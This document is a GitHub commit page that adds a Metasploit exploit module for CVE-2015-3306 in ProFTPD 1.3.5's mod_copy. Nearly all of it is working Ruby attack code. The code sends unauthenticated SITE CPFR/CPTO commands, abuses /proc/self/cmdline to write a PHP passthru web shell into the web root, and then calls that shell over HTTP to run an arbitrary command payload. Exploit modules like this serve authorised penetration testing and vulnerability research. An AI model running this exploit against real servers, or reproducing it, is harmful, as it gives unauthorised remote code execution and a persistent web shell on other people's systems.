Skip to content

Commit 92c91c7

Browse files
author
xistence
committed
Proftpd 1.3.5 Mod_Copy Command Execution
1 parent b6df023 commit 92c91c7

File tree

1 file changed

+147
-0
lines changed

1 file changed

+147
-0
lines changed
Lines changed: 147 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,147 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::Tcp
12+
include Msf::Exploit::Remote::HttpClient
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'ProFTPD 1.3.5 Mod_Copy Command Execution',
17+
'Description' => %q{
18+
This module exploits the SITE CPFR/CPTO commands in ProFTPD version 1.3.5.
19+
Any unauthenticated client can leverage these commands to copy files from any
20+
part of the filesystem to a chosen destination. The copy commands are executed with
21+
the rights of the ProFTPD service, which by default runs under the privileges of the
22+
'nobody' user. By using /proc/self/cmdline to copy a PHP payload to the website
23+
directory, PHP remote code execution is made possible.
24+
},
25+
'Author' =>
26+
[
27+
'Vadim Melihow', # Original discovery, Proof of Concept
28+
'xistence <xistence[at]0x90.nl>' # Metasploit module
29+
],
30+
'License' => MSF_LICENSE,
31+
'References' =>
32+
[
33+
[ 'CVE', '2015-3306'],
34+
[ 'EDB', '36742' ],
35+
],
36+
'Privileged' => false,
37+
'Platform' => [ 'unix' ],
38+
'Arch' => ARCH_CMD,
39+
'Payload' =>
40+
{
41+
'BadChars' => '',
42+
'Compat' =>
43+
{
44+
'PayloadType' => 'cmd',
45+
'RequiredCmd' => 'generic gawk bash python perl',
46+
}
47+
},
48+
'Targets' =>
49+
[
50+
[ 'ProFTPD 1.3.5', { } ],
51+
],
52+
'DisclosureDate' => 'Apr 22 2015',
53+
'DefaultTarget' => 0))
54+
55+
register_options(
56+
[
57+
OptPort.new('RPORT', [true, 'HTTP port', 80]),
58+
OptPort.new('RPORT_FTP', [true, 'FTP port', 21]),
59+
OptString.new('SITEPATH', [true, 'Absolute writable website path', '/var/www']),
60+
OptString.new('TARGETURI', [true, 'Base path to the website', '/'])
61+
], self.class)
62+
end
63+
64+
def check
65+
ftp_port = datastore['RPORT_FTP']
66+
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => ftp_port })
67+
68+
if sock.nil?
69+
fail_with(Failure::Unreachable, "#{rhost}:#{@remoting_port.to_s} - Failed to connect to remoting service")
70+
else
71+
print_status("#{rhost}:#{ftp_port} - Connected to FTP server")
72+
end
73+
74+
res = sock.get_once(-1,10)
75+
unless ( res and res =~ /220/ )
76+
fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure retrieving ProFTPD 220 OK banner")
77+
end
78+
79+
sock.puts("SITE CPFR /etc/passwd\r\n")
80+
res = sock.get_once(-1,10)
81+
if res and res =~ /350/
82+
return Exploit::CheckCode::Vulnerable
83+
else
84+
return Exploit::CheckCode::Safe
85+
end
86+
end
87+
88+
def exploit
89+
90+
ftp_port = datastore['RPORT_FTP']
91+
get_arg = rand_text_alphanumeric(5+rand(3))
92+
payload_name = rand_text_alphanumeric(5+rand(3)) + '.php'
93+
94+
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => ftp_port })
95+
96+
if sock.nil?
97+
fail_with(Failure::Unreachable, "#{rhost}:#{@remoting_port.to_s} - Failed to connect to remoting service")
98+
else
99+
print_status("#{rhost}:#{ftp_port} - Connected to FTP server")
100+
end
101+
102+
res = sock.get_once(-1,10)
103+
unless ( res and res =~ /220/ )
104+
fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure retrieving ProFTPD 220 OK banner")
105+
end
106+
107+
print_status("#{rhost}:21 - Sending copy commands to FTP server")
108+
109+
sock.puts("SITE CPFR /proc/self/cmdline\r\n")
110+
res = sock.get_once(-1,10)
111+
unless ( res and res =~ /350/ )
112+
fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying from /proc/self/cmdline")
113+
end
114+
115+
sock.put("SITE CPTO /tmp/.<?php passthru($_GET[\'#{get_arg}\']);?>\r\n")
116+
res = sock.get_once(-1,10)
117+
unless ( res and res =~ /250/ )
118+
fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying to temporary payload file")
119+
end
120+
121+
sock.put("SITE CPFR /tmp/.<?php passthru($_GET[\'#{get_arg}\']);?>\r\n")
122+
res = sock.get_once(-1,10)
123+
unless ( res and res =~ /350/ )
124+
fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying from temporary payload file")
125+
end
126+
127+
sock.put("SITE CPTO #{datastore['SITEPATH']}/#{payload_name}\r\n")
128+
res = sock.get_once(-1,10)
129+
unless ( res and res =~ /250/ )
130+
fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying PHP payload to website path, directory not writable?")
131+
end
132+
133+
sock.close
134+
135+
print_status("#{peer} - Executing PHP payload #{target_uri.path}#{payload_name}")
136+
res = send_request_cgi!({
137+
'uri' => normalize_uri(target_uri.path, payload_name),
138+
'method' => 'GET',
139+
'vars_get' => { get_arg => "nohup #{payload.encoded} &" },
140+
})
141+
142+
unless ( res and res.code == 200 )
143+
fail_with(Failure::Unknown, "#{rhost}:21 - Failure executing payload")
144+
end
145+
146+
end
147+
end

0 commit comments

Comments
 (0)